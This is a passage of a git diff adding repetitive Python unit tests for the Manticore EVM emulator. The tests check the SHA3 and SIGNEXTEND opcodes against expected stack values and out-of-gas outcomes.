+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            new_vm.memory.write(48, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [87315138422451183025224871972802370450373932520512056513148796263698858401046L])
+
+    def test_SHA3_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            new_vm.memory.write(16, [88])
+            new_vm.memory.write(17, [88])
+            new_vm.memory.write(18, [88])
+            new_vm.memory.write(19, [88])
+            new_vm.memory.write(20, [88])
+            new_vm.memory.write(21, [88])
+            new_vm.memory.write(22, [88])
+            new_vm.memory.write(23, [88])
+            new_vm.memory.write(24, [88])
+            new_vm.memory.write(25, [88])
+            new_vm.memory.write(26, [88])
+            new_vm.memory.write(27, [88])
+            new_vm.memory.write(28, [88])
+            new_vm.memory.write(29, [88])
+            new_vm.memory.write(30, [88])
+            new_vm.memory.write(31, [88])
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [87315138422451183025224871972802370450373932520512056513148796263698858401046L])
+
+    def test_SHA3_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            new_vm.memory.write(32, [88])
+            new_vm.memory.write(33, [88])
+            new_vm.memory.write(34, [88])
+            new_vm.memory.write(35, [88])
+            new_vm.memory.write(36, [88])
+            new_vm.memory.write(37, [88])
+            new_vm.memory.write(38, [88])
+            new_vm.memory.write(39, [88])
+            new_vm.memory.write(40, [88])
+            new_vm.memory.write(41, [88])
+            new_vm.memory.write(42, [88])
+            new_vm.memory.write(43, [88])
+            new_vm.memory.write(44, [88])
+            new_vm.memory.write(45, [88])
+            new_vm.memory.write(46, [88])
+            new_vm.memory.write(47, [88])
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            new_vm.memory.write(64, [88])
+            new_vm.memory.write(65, [88])
+            new_vm.memory.write(66, [88])
+            new_vm.memory.write(67, [88])
+            new_vm.memory.write(68, [88])
+            new_vm.memory.write(69, [88])
+            new_vm.memory.write(70, [88])
+            new_vm.memory.write(71, [88])
+            new_vm.memory.write(72, [88])
+            new_vm.memory.write(73, [88])
+            new_vm.memory.write(74, [88])
+            new_vm.memory.write(75, [88])
+            new_vm.memory.write(76, [88])
+            new_vm.memory.write(77, [88])
+            new_vm.memory.write(78, [88])
+            new_vm.memory.write(79, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [87315138422451183025224871972802370450373932520512056513148796263698858401046L])
+
+    def test_SHA3_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            new_vm.memory.write(48, [88])
+            new_vm.memory.write(49, [88])
+            new_vm.memory.write(50, [88])
+            new_vm.memory.write(51, [88])
+            new_vm.memory.write(52, [88])
+            new_vm.memory.write(53, [88])
+            new_vm.memory.write(54, [88])
+            new_vm.memory.write(55, [88])
+            new_vm.memory.write(56, [88])
+            new_vm.memory.write(57, [88])
+            new_vm.memory.write(58, [88])
+            new_vm.memory.write(59, [88])
+            new_vm.memory.write(60, [88])
+            new_vm.memory.write(61, [88])
+            new_vm.memory.write(62, [88])
+            new_vm.memory.write(63, [88])
+            new_vm.memory.write(64, [88])
+            new_vm.memory.write(65, [88])
+            new_vm.memory.write(66, [88])
+            new_vm.memory.write(67, [88])
+            new_vm.memory.write(68, [88])
+            new_vm.memory.write(69, [88])
+            new_vm.memory.write(70, [88])
+            new_vm.memory.write(71, [88])
+            new_vm.memory.write(72, [88])
+            new_vm.memory.write(73, [88])
+            new_vm.memory.write(74, [88])
+            new_vm.memory.write(75, [88])
+            new_vm.memory.write(76, [88])
+            new_vm.memory.write(77, [88])
+            new_vm.memory.write(78, [88])
+            new_vm.memory.write(79, [88])
+            new_vm.memory.write(80, [88])
+            new_vm.memory.write(81, [88])
+            new_vm.memory.write(82, [88])
+            new_vm.memory.write(83, [88])
+            new_vm.memory.write(84, [88])
+            new_vm.memory.write(85, [88])
+            new_vm.memory.write(86, [88])
+            new_vm.memory.write(87, [88])
+            new_vm.memory.write(88, [88])
+            new_vm.memory.write(89, [88])
+            new_vm.memory.write(90, [88])
+            new_vm.memory.write(91, [88])
+            new_vm.memory.write(92, [88])
+            new_vm.memory.write(93, [88])
+            new_vm.memory.write(94, [88])
+            new_vm.memory.write(95, [88])
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [87315138422451183025224871972802370450373932520512056513148796263698858401046L])
+
+    def test_SHA3_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSIGNEXTEND.py b/tests/EVM/test_EVMSIGNEXTEND.py
new file mode 100644
index 0000000..251b9cb
--- /dev/null
+++ b/tests/EVM/test_EVMSIGNEXTEND.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SIGNEXTEND(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SIGNEXTEND_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_SIGNEXTEND_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
